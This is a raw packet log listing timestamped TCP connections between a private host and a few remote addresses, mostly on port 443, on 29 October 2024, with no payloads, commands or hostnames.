Oct 29, 2024 13:08:43.325264931 CET	443	60517	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.325489998 CET	60517	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.325594902 CET	60517	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.325608969 CET	443	60517	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.406939983 CET	443	60513	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.407008886 CET	443	60513	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.407100916 CET	60513	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.410953045 CET	60513	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.410953045 CET	60513	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.410969973 CET	443	60513	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.410979033 CET	443	60513	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.415160894 CET	60518	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.415204048 CET	443	60518	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.415309906 CET	60518	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.415555954 CET	60518	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.415571928 CET	443	60518	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.460814953 CET	80	60512	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:43.460885048 CET	80	60512	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:43.460908890 CET	60512	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:43.461081982 CET	60512	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:43.464526892 CET	60512	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:43.464548111 CET	60512	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:43.465565920 CET	443	60515	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.467364073 CET	60515	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.467371941 CET	443	60515	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.467967033 CET	60515	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.467972040 CET	443	60515	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.498192072 CET	443	60514	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.498764038 CET	60514	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.498811007 CET	443	60514	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.499355078 CET	60514	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.499371052 CET	443	60514	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.603288889 CET	443	60515	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.603478909 CET	443	60515	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.604907990 CET	60515	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.637845993 CET	443	60514	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.637902021 CET	443	60514	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.637955904 CET	443	60514	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.638012886 CET	60514	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.648055077 CET	60515	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.648055077 CET	60515	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.648082972 CET	443	60515	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.648112059 CET	443	60515	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.666526079 CET	60514	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.666526079 CET	60514	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.666568041 CET	443	60514	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.666593075 CET	443	60514	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.727236032 CET	60519	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.727274895 CET	443	60519	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.727353096 CET	60519	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.760375977 CET	60519	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.760391951 CET	443	60519	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.761851072 CET	60520	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.761938095 CET	443	60520	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.762033939 CET	60520	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.762762070 CET	60520	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.762794971 CET	443	60520	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.068048954 CET	443	60516	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.071607113 CET	443	60517	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.077548027 CET	60516	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.077567101 CET	443	60516	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.081152916 CET	60516	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.081162930 CET	443	60516	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.085400105 CET	60517	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.085423946 CET	443	60517	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.085832119 CET	60517	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.085835934 CET	443	60517	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.160768032 CET	443	60518	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.165483952 CET	60518	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.165504932 CET	443	60518	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.165961027 CET	60518	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.165966034 CET	443	60518	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.205806971 CET	443	60516	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.205830097 CET	443	60516	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.205881119 CET	443	60516	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.205893040 CET	60516	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.205928087 CET	60516	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.206118107 CET	60516	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.206135035 CET	443	60516	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.206145048 CET	60516	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.206151009 CET	443	60516	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.211286068 CET	443	60517	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.211498976 CET	443	60517	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.211678982 CET	60517	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.215251923 CET	60521	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.215329885 CET	443	60521	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.215446949 CET	60521	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.217000961 CET	60517	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.217029095 CET	443	60517	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.217042923 CET	60517	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.217051029 CET	443	60517	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.223169088 CET	60521	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.223198891 CET	443	60521	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.225296974 CET	60522	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.225347996 CET	443	60522	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.225491047 CET	60522	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.225756884 CET	60522	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.225788116 CET	443	60522	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.295058012 CET	443	60518	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.295079947 CET	443	60518	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.295125008 CET	443	60518	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.295131922 CET	60518	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.295170069 CET	60518	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.295391083 CET	60518	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.295397997 CET	443	60518	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.295407057 CET	60518	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.295411110 CET	443	60518	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.297769070 CET	60523	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.297822952 CET	443	60523	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.297936916 CET	60523	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.298067093 CET	60523	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.298096895 CET	443	60523	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.679025888 CET	443	60519	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.679857969 CET	60519	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.679876089 CET	443	60519	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.680347919 CET	60519	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.680352926 CET	443	60519	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.680701017 CET	443	60520	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.681246042 CET	60520	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.681281090 CET	443	60520	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.681811094 CET	60520	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.681823015 CET	443	60520	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.811589003 CET	443	60520	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.811772108 CET	443	60520	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.811949968 CET	60520	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.812262058 CET	60520	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.812288046 CET	443	60520	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.813821077 CET	443	60519	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.813896894 CET	443	60519	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.813960075 CET	60519	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.815449953 CET	60519	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.815469027 CET	443	60519	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.840724945 CET	60524	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.840811014 CET	443	60524	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.841020107 CET	60524	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.842417002 CET	60525	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.842472076 CET	443	60525	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.842528105 CET	60525	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.842756033 CET	60524	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.842791080 CET	443	60524	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.846714020 CET	60525	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.846736908 CET	443	60525	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.947731018 CET	60526	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:44.953118086 CET	80	60526	142.251.168.82	192.168.2.5
Oct 29, 2024 13:08:44.953206062 CET	60526	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:44.953408957 CET	60526	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:44.959039927 CET	80	60526	142.251.168.82	192.168.2.5
Oct 29, 2024 13:08:44.968137026 CET	443	60522	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.968672037 CET	60522	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.968713045 CET	443	60522	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.969291925 CET	60522	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.969305038 CET	443	60522	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.974529028 CET	443	60521	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.974905014 CET	60521	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.974925041 CET	443	60521	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:44.975560904 CET	60521	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:44.975567102 CET	443	60521	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.069356918 CET	443	60523	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.070214987 CET	60523	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.070230007 CET	443	60523	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.070688009 CET	60523	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.070693970 CET	443	60523	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.107466936 CET	443	60521	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.107650042 CET	443	60521	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.108088970 CET	60521	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.108274937 CET	60521	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.108292103 CET	443	60521	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.108309984 CET	60521	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.108318090 CET	443	60521	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.113010883 CET	60527	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.113049030 CET	443	60527	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.113845110 CET	60527	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.114604950 CET	60527	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.114620924 CET	443	60527	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.116175890 CET	443	60522	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.116206884 CET	443	60522	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.116256952 CET	443	60522	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.116316080 CET	60522	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.116432905 CET	60522	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.116460085 CET	443	60522	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.120378971 CET	60528	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.120403051 CET	443	60528	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.120476007 CET	60528	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.120789051 CET	60528	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.120799065 CET	443	60528	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.207695961 CET	443	60523	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.207763910 CET	443	60523	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.207845926 CET	60523	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.241334915 CET	60523	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.241334915 CET	60523	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.241370916 CET	443	60523	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.241394043 CET	443	60523	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.246484995 CET	60529	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.246531010 CET	443	60529	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.246603012 CET	60529	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.246869087 CET	60529	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.246898890 CET	443	60529	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.594703913 CET	443	60525	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.595334053 CET	60525	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.595367908 CET	443	60525	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.596165895 CET	60525	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.596173048 CET	443	60525	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.613696098 CET	443	60524	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.614052057 CET	60524	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.614110947 CET	443	60524	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.615082979 CET	60524	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.615098000 CET	443	60524	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.725075006 CET	443	60525	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.725217104 CET	443	60525	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.725287914 CET	60525	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.725769997 CET	60525	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.725790977 CET	443	60525	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.725804090 CET	60525	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.725810051 CET	443	60525	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.729707956 CET	60530	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.729738951 CET	443	60530	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.729824066 CET	60530	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.730144024 CET	60530	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.730156898 CET	443	60530	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.750544071 CET	443	60524	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.750564098 CET	443	60524	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.750603914 CET	443	60524	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.750633955 CET	60524	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.750701904 CET	60524	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.750782967 CET	60524	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.750823021 CET	443	60524	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.750850916 CET	60524	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.750866890 CET	443	60524	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.753578901 CET	60531	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.753659964 CET	443	60531	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.753782988 CET	60531	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.753937006 CET	60531	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.753969908 CET	443	60531	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.852112055 CET	443	60528	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.859397888 CET	60528	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.859414101 CET	443	60528	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.859921932 CET	60528	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.859925985 CET	443	60528	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.868865967 CET	443	60527	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.872627974 CET	60527	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.872644901 CET	443	60527	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.873219967 CET	60527	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.873225927 CET	443	60527	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.883838892 CET	80	60526	142.251.168.82	192.168.2.5
Oct 29, 2024 13:08:45.883853912 CET	80	60526	142.251.168.82	192.168.2.5
Oct 29, 2024 13:08:45.883934021 CET	60526	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:45.887626886 CET	60526	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:45.887676954 CET	60526	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:45.984189987 CET	443	60528	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.984251976 CET	443	60528	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.984317064 CET	60528	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.989394903 CET	443	60529	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.992352009 CET	60528	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:45.992363930 CET	443	60528	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.999831915 CET	443	60527	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:45.999917984 CET	443	60527	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.000060081 CET	60527	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.002907038 CET	60529	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.002953053 CET	443	60529	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.003525019 CET	60529	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.003537893 CET	443	60529	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.013283968 CET	60527	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.013300896 CET	443	60527	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.013313055 CET	60527	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.013320923 CET	443	60527	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.018367052 CET	60532	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.018395901 CET	443	60532	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.018567085 CET	60532	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.040257931 CET	60532	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.040277958 CET	443	60532	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.062766075 CET	60533	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.062833071 CET	443	60533	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.063051939 CET	60533	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.063215971 CET	60533	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.063249111 CET	443	60533	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.137801886 CET	443	60529	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.137841940 CET	443	60529	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.137898922 CET	443	60529	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.137968063 CET	60529	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.150985956 CET	60529	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.151016951 CET	443	60529	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.155934095 CET	60534	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.155978918 CET	443	60534	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.156044960 CET	60534	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.156203985 CET	60534	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.156219006 CET	443	60534	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.467947960 CET	443	60530	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.480779886 CET	443	60531	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.520313025 CET	60530	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.535981894 CET	60531	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.718149900 CET	60530	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.718169928 CET	443	60530	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.760994911 CET	443	60532	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.794276953 CET	443	60533	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.806678057 CET	60530	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.806691885 CET	443	60530	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.814124107 CET	60533	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.814191103 CET	443	60533	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.817186117 CET	60532	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.819858074 CET	60533	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.819879055 CET	443	60533	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.820996046 CET	60531	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.821053028 CET	443	60531	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.823709011 CET	60531	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.823728085 CET	443	60531	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.879426003 CET	60532	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.879453897 CET	443	60532	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.880791903 CET	60532	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.880799055 CET	443	60532	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.899240017 CET	443	60534	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.910200119 CET	60534	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.910218954 CET	443	60534	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.912241936 CET	60534	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.912247896 CET	443	60534	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.931930065 CET	443	60530	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.932008028 CET	443	60530	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.932069063 CET	60530	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.946223974 CET	443	60533	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.946299076 CET	443	60533	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.946486950 CET	60533	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.947990894 CET	443	60531	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.948575020 CET	443	60531	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.948621035 CET	443	60531	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.948626041 CET	60531	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.948666096 CET	60531	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.951808929 CET	60530	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.951808929 CET	60530	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.951824903 CET	443	60530	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.951833010 CET	443	60530	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.967999935 CET	60533	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.968033075 CET	443	60533	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.969134092 CET	60531	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.969163895 CET	443	60531	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.971502066 CET	60535	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.971549988 CET	443	60535	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.971632957 CET	60535	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.972477913 CET	60535	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.972507954 CET	443	60535	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.984381914 CET	60536	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.984427929 CET	443	60536	13.107.246.45	192.168.2.5
